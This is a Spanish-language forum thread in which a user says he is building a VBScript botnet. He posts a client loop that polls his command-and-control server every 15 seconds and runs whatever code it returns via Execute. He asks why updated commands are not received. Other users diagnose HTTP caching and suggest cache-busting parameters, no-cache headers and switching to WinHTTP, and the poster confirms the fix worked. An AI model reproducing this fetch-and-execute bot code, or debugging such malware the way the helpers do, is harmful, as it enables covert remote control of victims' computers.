Error de XmlHTTP

Iniciado por Monkeykiller_vb, 11 Octubre 2019, 23:05 PM

0 Miembros y 1 Visitante están viendo este tema.

Monkeykiller_vb

Hola! Tengo un problema con uno de mis proyectos, quiero hacer una botnet vbs pero no funciona como esperaba:

On Error Resume Next
Set fso = CreateObject("Scripting.FileSystemObject")
Set http = CreateObject("Microsoft.XmlHttp")

Do
Set file = fso.OpenTextFile(fso.getSpecialFolder(2) & "\k.tmp", 1, True)
filex = file.readAll
file.Close
http.open "GET", "http://*****.tk/btnet/cmdint.php", False
http.send
If Not(http.responsetext = filex) Then
Set file = fso.OpenTextFile(fso.getSpecialFolder(2) & "\k.tmp", 2, True)
file.Write http.responsetext
file.Close
Execute http.responsetext
End If
Wscript.Sleep 15000
Loop


Cuando se inicia por primera vez, la botnet busca en mi servidor C&C el codigo a ejecutar.
Luego, ejecuta el codigo y lo guarda en un archivo llamado k.tmp
Cuando se repite deberia volver a buscar el codigo en el servidor, y gracias al archivo k.tmp, verificar si el codigo ya se ejecutó antes.

El problema es que cuando ocurre el loop y el archivo de instrucciones del servidor se actualizó, la botnet no recibe el nuevo codigo, sino el anterior  :-\

¿Como puedo solucionarlo?
Atte.

MCKSys Argentina

Hola!

Creo que es porque deberias usar responseText, no responsetext. Creo que es case sensitive.

Saludos!
MCKSys Argentina

"Si piensas que algo está bien sólo porque todo el mundo lo cree, no estás pensando."


Monkeykiller_vb

#2
Amigo, no creo que sea eso. Mira esto: http://ito.mx/LGun

Directamente el responseText no se actualiza   :-\
Atte.

MCKSys Argentina

Prueba a quitar el On Error... a ver si te tira algun error...

Saludos!
MCKSys Argentina

"Si piensas que algo está bien sólo porque todo el mundo lo cree, no estás pensando."


ThunderCls

#4
Tu codigo funciona sin problemas, lo mas probable es que estes teniendo problemas de cache, de ahi que tu peticion no reciba datos actualizados del server. Aqui puedes intentar varias cosas

1- Intenta añadir un parametro aleatorio a tu url, no tiene que ser un parametro utilizable necesariamente, quizas algo como

Código (vb) [Seleccionar]
Randomize
url = "http://*****.tk/btnet/cmdint.php&dummy=" & Rnd


solo para forzar una nueva version de la web

2- Intenta especificando los headers de tu peticion

Código (vb) [Seleccionar]
rl = "http://*****.tk/btnet/cmdint.php"
http.open "GET", url, False
http.setRequestHeader "pragma", "no-cache"
http.setRequestHeader "Cache-Control", "no-cache, no-store"
http.send


3- No estoy seguro si XmlHttp usa los settings de ie, por si acaso desactiva la cache de paginas de ie

4- Usa WinHTTP en lugar de XmlHTTP ya que segun microsoft WinHTTP no implementa cache o cookies
https://docs.microsoft.com/en-us/windows/win32/winhttp/about-winhttp?redirectedfrom=MSDN

Suerte
-[ "...I can only show you the door. You're the one that has to walk through it." – Morpheus (The Matrix) ]-
http://reversec0de.wordpress.com
https://github.com/ThunderCls/

Monkeykiller_vb

Cita de: ThunderCls en 17 Octubre 2019, 03:05 AM
Tu codigo funciona sin problemas, lo mas probable es que estes teniendo problemas de cache, de ahi que tu peticion no reciba datos actualizados del server. Aqui puedes intentar varias cosas

1- Intenta añadir un parametro aleatorio a tu url, no tiene que ser un parametro utilizable necesariamente, quizas algo como

Código (vb) [Seleccionar]
Randomize
url = "http://*****.tk/btnet/cmdint.php&dummy=" & Rnd


solo para forzar una nueva version de la web

2- Intenta especificando los headers de tu peticion

Código (vb) [Seleccionar]
rl = "http://*****.tk/btnet/cmdint.php"
http.open "GET", url, False
http.setRequestHeader "pragma", "no-cache"
http.setRequestHeader "Cache-Control", "no-cache, no-store"
http.send


3- No estoy seguro si XmlHttp usa los settings de ie, por si acaso desactiva la cache de paginas de ie

4- Usa WinHTTP en lugar de XmlHTTP ya que segun microsoft WinHTTP no implementa cache o cookies
https://docs.microsoft.com/en-us/windows/win32/winhttp/about-winhttp?redirectedfrom=MSDN

Suerte

Gracias, me funcionó cambiarlo a WinHTTP,  ;)
Atte.